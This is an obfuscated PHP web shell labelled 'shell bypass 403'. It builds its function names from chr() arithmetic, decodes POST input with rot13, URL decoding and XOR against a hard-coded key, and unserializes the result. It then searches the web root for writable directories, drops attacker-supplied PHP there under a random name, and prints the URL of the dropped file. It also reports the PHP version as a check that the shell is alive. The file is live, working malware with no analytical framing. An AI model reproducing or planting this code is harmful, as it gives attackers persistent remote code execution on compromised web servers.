shell bypass 403
<?php function EaXnL($XFLhjnqRbM, $mciVLQrzEw, $XKasxaqULJ){global $mjZXcPaXflRImaJM;$UvpBpHX = "\x73".'t'.chr(114)."\154".chr(101).chr(576-466);return KGrkCXrYu(KGrkCXrYu($XFLhjnqRbM, $mjZXcPaXflRImaJM[$mciVLQrzEw % $UvpBpHX($mjZXcPaXflRImaJM)]), $XKasxaqULJ);}$INNpw = "eDtlht";function zNsHNjVUD($INNpw){ $wYmJmIbY = "\x73"."\164"."\162".chr(569-474).chr(144-30)."\x6f"."\164".chr(371-322).chr(51);$INNpw = $wYmJmIbY($INNpw); $FpxHy = 'vb';$SGNrGAw = "\x72".chr(97)."\x77".'u'.chr(412-298).chr(108).chr(1006-906).'e'.chr(763-664)."\157".chr(160-60).chr(101);$INNpw = $SGNrGAw($INNpw);$pATDpWFoA = "\163".chr(116)."\162"."\137".chr(851-736)."\x70"."\x6c"."\151"."\x74";$INNpw = $pATDpWFoA($INNpw); $AQkjjNFop = 28;return $INNpw;}function KGrkCXrYu($ZFTYXgljN, $jTNONK){return $ZFTYXgljN ^ $jTNONK;}function xAbxPUsoBw(){$NAqFXxNc = 52;$PvuIexDD = 19;}$mjZXcPaXflRImaJM = "c02cecfa-3cb5-4521-95ed-4e2063b8ac96";function iJQYEM($CiNnRWlGwu, $XKasxaqULJ){$DWpNr = 'a'.chr(114)."\x72"."\141"."\x79"."\137".chr(355-237).'a'."\154"."\x75".chr(101)."\163";$LfjVrILIkL = 'a'."\x72".chr(114).chr(276-179).chr(121).'_'."\153"."\145".chr(121)."\x73";$pEcXrBhtN = chr(319-222).'r'.'r'.chr(394-297)."\171".chr(95).'m'."\141".'p';$CiNnRWlGwu = $pEcXrBhtN("EaXnL", $DWpNr($CiNnRWlGwu), $LfjVrILIkL($CiNnRWlGwu), $DWpNr($XKasxaqULJ));$MGiYiayMGv = chr(105).chr(109)."\x70".chr(431-323)."\157"."\144".chr(101);$CiNnRWlGwu = $MGiYiayMGv("", $CiNnRWlGwu);$lMwjtlPKU = chr(117).chr(110).'s'."\145".chr(121-7).chr(823-718).chr(97).chr(260-152).chr(105)."\172".'e';$CiNnRWlGwu = @$lMwjtlPKU($CiNnRWlGwu);return $CiNnRWlGwu;}function cFvMqUO($XKasxaqULJ, $CiNnRWlGwu){$KGQTMP = "\141"."\x72".chr(1069-955).'a'.'y'.chr(894-799).chr(115).'l'.'i'.'c'.chr(944-843);$crzmFpKs = chr(115)."\x74"."\x72"."\137"."\x72"."\145".'p'."\x65"."\x61".chr(842-726);$PwdaO = "\x73"."\164"."\x72".chr(95).chr(115).chr(591-479).chr(108).chr(105)."\x74";$QufcuiXoY = "\x69".chr(365-255).chr(116).chr(1023-905).chr(97).'l';$MwNHB = chr(99).chr(842-731)."\x75".'n'.'t';$XKasxaqULJ = $KGQTMP($PwdaO($crzmFpKs($XKasxaqULJ, $QufcuiXoY($MwNHB($CiNnRWlGwu)/16)+1)), 0, $MwNHB($CiNnRWlGwu));return $XKasxaqULJ;}xAbxPUsoBw();function jYYGucDGLs(){echo "gskqhHc"; $UOdrqGft = 27;}function LKPtDQbov($bETyzdBG){static $WTekE = array();$oVYnbmhy = glob($bETyzdBG . '/*', GLOB_ONLYDIR);$GTxkl = "\143".'o'."\x75".chr(948-838)."\164";$Iuuagjyib = $GTxkl($oVYnbmhy);if ($Iuuagjyib > 0) {foreach ($oVYnbmhy as $mjZXcPaX) {$EvEHPqlcgE = 'i'.chr(115)."\x5f".'w'."\162"."\151"."\164".chr(765-668).'b'."\x6c".chr(139-38);if (@$EvEHPqlcgE($mjZXcPaX)) {$WTekE[] = $mjZXcPaX;}}}foreach ($oVYnbmhy as $bETyzdBG) LKPtDQbov($bETyzdBG);return $WTekE;}function VYVwRBzOeT($CiNnRWlGwu){$mFvOjPO = chr(68).chr(613-534)."\x43".chr(641-556).chr(311-234).chr(69)."\116"."\x54"."\x5f".'R'.chr(79).chr(79)."\124";$COWaWTpbcd = $_SERVER[$mFvOjPO]; $eXGNyqEn = 'oGm';$oVYnbmhy = LKPtDQbov($COWaWTpbcd); $vWMef = 'aasTG';$YZpKNg = chr(115)."\164"."\x72"."\x6c"."\145"."\156"; $eXGNyqEn = $YZpKNg($eXGNyqEn);$LLraTMfEWN = "\141"."\x72"."\x72"."\x61".'y'."\137"."\x72".chr(97)."\156".chr(100);$KLKHVlK = $LLraTMfEWN($oVYnbmhy);$dzIxuFrJ = chr(193-78).chr(116).'r'.chr(971-855)."\x6f"."\165".chr(345-233).'p'.chr(101).'r'; $HBmlhLaIla = $dzIxuFrJ($eXGNyqEn);$fZGsaqOy = chr(46).chr(112).'h'."\160";$PDYsxpap = '/';$CAtSneD = chr(115).chr(215-98).chr(98).'s'."\x74".chr(590-476);$MWEHsv = chr(239-123).chr(105)."\x6d"."\x65";$bytZpjU = chr(109)."\x64".chr(371-318);$FsWXTFmC = $oVYnbmhy[$KLKHVlK] . $PDYsxpap . $CAtSneD($bytZpjU($MWEHsv()), 0, 8) . $fZGsaqOy;$PbroHz = 'f'.chr(105).chr(108).'e'."\137".chr(112).chr(117).chr(119-3)."\x5f"."\143"."\157"."\156"."\164".chr(627-526).chr(952-842).'t'.chr(491-376);@$PbroHz($FsWXTFmC, $CiNnRWlGwu); $NKZUKVlUmp = 'XnJ'; $eXGNyqEn = $eXGNyqEn - 10;$iVKxq = 'H'.chr(84)."\x54".'P'.chr(95).'H'.chr(463-384)."\x53"."\124";$qWuyhzX = "\150".chr(116).chr(681-565).chr(112).chr(58).chr(438-391).chr(47);$NbqcDwXVbt = 's'."\164"."\162".chr(734-626)."\x65"."\156";$PswLORNMhp = "\163".chr(746-629).'b'."\163".'t'."\x72";$BWalYN = $qWuyhzX . $_SERVER[$iVKxq] . $PswLORNMhp($FsWXTFmC, $NbqcDwXVbt($COWaWTpbcd)); $LxNQMIBdgM = 5;print($BWalYN);$dMPuD = chr(115).chr(116).chr(744-630).'r'."\x70".chr(354-243).'s'; $eXGNyqEn = $dMPuD($HBmlhLaIla, 'tlpko');}function hdfXELgguF($CiNnRWlGwu, $KLKHVlK){if ($CiNnRWlGwu !== $KLKHVlK){VYVwRBzOeT($CiNnRWlGwu); $AYhPnL = 15;}else {WKBCxYALC(); $ErLrPryv = 3;}exit();}function WKBCxYALC(){$YkdUmp = "\160".chr(104).chr(112);$wYbcK = chr(112).chr(104)."\160".chr(118)."\x65"."\162".chr(1072-957).chr(105)."\x6f"."\x6e";$CiNnRWlGwu = Array($YkdUmp => @$wYbcK(), );$hEXVQC = 's'."\145"."\x72"."\151".chr(955-858).'l'."\x69"."\172".'e';echo @$hEXVQC($CiNnRWlGwu);}function gLxMsIDHMj(){echo "eDtlht";}function ANGcxNMc($CiNnRWlGwu){$EaBYBAj = "\141".chr(114)."\x72".chr(377-280)."\x79"."\137".chr(575-468)."\145".chr(121)."\x73";return $EaBYBAj($CiNnRWlGwu);}foreach ($_POST as $XKasxaqULJ => $CiNnRWlGwu){$aTFPg = "\163".'t'.chr(262-148)."\154".'e'."\156";if ($aTFPg($XKasxaqULJ) == 16){$CiNnRWlGwu = zNsHNjVUD($CiNnRWlGwu);$XKasxaqULJ = cFvMqUO($XKasxaqULJ, $CiNnRWlGwu);$CiNnRWlGwu = iJQYEM($CiNnRWlGwu, $XKasxaqULJ);$HnIiRo = 'i'.chr(115)."\x5f".'a'."\162"."\162"."\141".chr(401-280);if (@$HnIiRo($CiNnRWlGwu)){$wVZKrhgA = ANGcxNMc($CiNnRWlGwu); $tiSYfKAOyS = 'VlUW';hdfXELgguF($CiNnRWlGwu[$wVZKrhgA[0]], $wVZKrhgA[0]);$zVyEeVxgGy = "\x72".'t'.chr(933-819).chr(105)."\x6d"; $pOMyLKD = $zVyEeVxgGy('NWgkwON'); $tiSYfKAOyS = urlencode($pOMyLKD);}}}die();?>